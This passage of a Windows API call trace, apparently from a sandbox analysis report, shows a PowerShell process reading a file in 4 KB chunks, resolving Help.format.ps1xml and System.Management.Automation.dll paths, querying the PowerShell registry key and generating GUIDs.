lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.973] GetLastError () returned 0x0 [0057.973] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.974] GetLastError () returned 0x0 [0057.974] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.974] GetLastError () returned 0x0 [0057.974] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.974] GetLastError () returned 0x0 [0057.974] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.974] GetLastError () returned 0x0 [0057.974] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.974] GetLastError () returned 0x0 [0057.974] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.975] GetLastError () returned 0x0 [0057.975] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.975] GetLastError () returned 0x0 [0057.975] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.975] GetLastError () returned 0x0 [0057.978] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.978] GetLastError () returned 0x0 [0057.978] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.978] GetLastError () returned 0x0 [0057.978] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.978] GetLastError () returned 0x0 [0057.978] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.978] GetLastError () returned 0x0 [0057.979] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.979] GetLastError () returned 0x0 [0057.979] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.979] GetLastError () returned 0x0 [0057.979] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.979] GetLastError () returned 0x0 [0057.979] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.979] GetLastError () returned 0x0 [0057.979] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.979] GetLastError () returned 0x0 [0057.980] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.980] GetLastError () returned 0x0 [0057.980] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.980] GetLastError () returned 0x0 [0057.980] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.980] GetLastError () returned 0x0 [0057.980] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.980] GetLastError () returned 0x0 [0057.980] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.980] GetLastError () returned 0x0 [0057.981] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.981] GetLastError () returned 0x0 [0057.981] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.981] GetLastError () returned 0x0 [0057.981] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.981] GetLastError () returned 0x0 [0057.981] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.981] GetLastError () returned 0x0 [0057.981] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.981] GetLastError () returned 0x0 [0057.981] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.981] GetLastError () returned 0x0 [0057.982] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.982] GetLastError () returned 0x0 [0057.982] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.982] GetLastError () returned 0x0 [0057.982] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.982] GetLastError () returned 0x0 [0057.982] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.982] GetLastError () returned 0x0 [0057.982] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.982] GetLastError () returned 0x0 [0057.983] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.983] GetLastError () returned 0x0 [0057.983] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.983] GetLastError () returned 0x0 [0057.983] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.983] GetLastError () returned 0x0 [0057.983] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.983] GetLastError () returned 0x0 [0057.983] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.983] GetLastError () returned 0x0 [0057.984] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0xf37, lpOverlapped=0x0) returned 1 [0057.984] GetLastError () returned 0x0 [0057.984] ReadFile (in: hFile=0x32c, lpBuffer=0x30819bb, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30819bb*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.984] GetLastError () returned 0x0 [0057.984] ReadFile (in: hFile=0x32c, lpBuffer=0x30822e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x30822e4*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.984] GetLastError () returned 0x0 [0057.984] CloseHandle (hObject=0x32c) returned 1 [0057.984] GetLastError () returned 0x0 [0057.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e004, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0057.984] GetLastError () returned 0x0 [0057.984] SetErrorMode (uMode=0x1) returned 0x1 [0057.984] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x30a32e0 | out: lpFileInformation=0x30a32e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0057.984] GetLastError () returned 0x0 [0057.984] SetErrorMode (uMode=0x1) returned 0x1 [0057.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0057.984] GetLastError () returned 0x0 [0057.984] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e428 | out: phkResult=0x25e428*=0x32c) returned 0x0 [0057.985] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x0, lpcbData=0x25e46c*=0x0 | out: lpType=0x25e470*=0x1, lpData=0x0, lpcbData=0x25e46c*=0x56) returned 0x0 [0057.985] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x391da8, lpcbData=0x25e46c*=0x56 | out: lpType=0x25e470*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e46c*=0x56) returned 0x0 [0057.985] RegCloseKey (hKey=0x32c) returned 0x0 [0057.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0057.985] GetLastError () returned 0x0 [0057.985] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0057.985] GetLastError () returned 0x0 [0057.995] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x1b604242, Data2=0x38ed, Data3=0x4edb, Data4=([0]=0x85, [1]=0xbc, [2]=0xe5, [3]=0xc6, [4]=0x59, [5]=0x49, [6]=0x6b, [7]=0x4b))) returned 0x0 [0057.995] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x1308f3d, Data2=0x7f80, Data3=0x42b1, Data4=([0]=0x84, [1]=0xee, [2]=0x51, [3]=0xd, [4]=0x9d, [5]=0x56, [6]=0x71, [7]=0xa1))) returned 0x0 [0057.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.996] GetLastError () returned 0x0 [0057.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.996] GetLastError () returned 0x0 [0057.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.996] GetLastError () returned 0x0 [0057.996] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.996] GetLastError () returned 0x0 [0058.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.047] GetLastError () returned 0x0 [0058.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.047] GetLastError () returned 0x0 [0058.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.047] GetLastError () returned 0x0 [0058.047] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x80c0188a, Data2=0x5e7b, Data3=0x4a1d, Data4=([0]=0xbd, [1]=0x61, [2]=0x12, [3]=0xd6, [4]=0x9c, [5]=0xc4, [6]=0x63, [7]=0xcb))) returned 0x0 [0058.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.048] GetLastError () returned 0x0 [0058.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.048] GetLastError () returned 0x0 [0058.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.048] GetLastError () returned 0x0 [0058.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.048] GetLastError () returned 0x0 [0058.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.048] GetLastError () returned 0x0 [0058.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.048] GetLastError () returned 0x0 [0058.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.048] GetLastError () returned 0x0 [0058.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.048] GetLastError () returned 0x0 [0058.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.048] GetLastError () returned 0x0 [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x0 [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x0 [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x0 [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x0 [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x0 [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x0 [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x0 [0058.049] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x0 [0058.049] GetFullPathNameW (in: 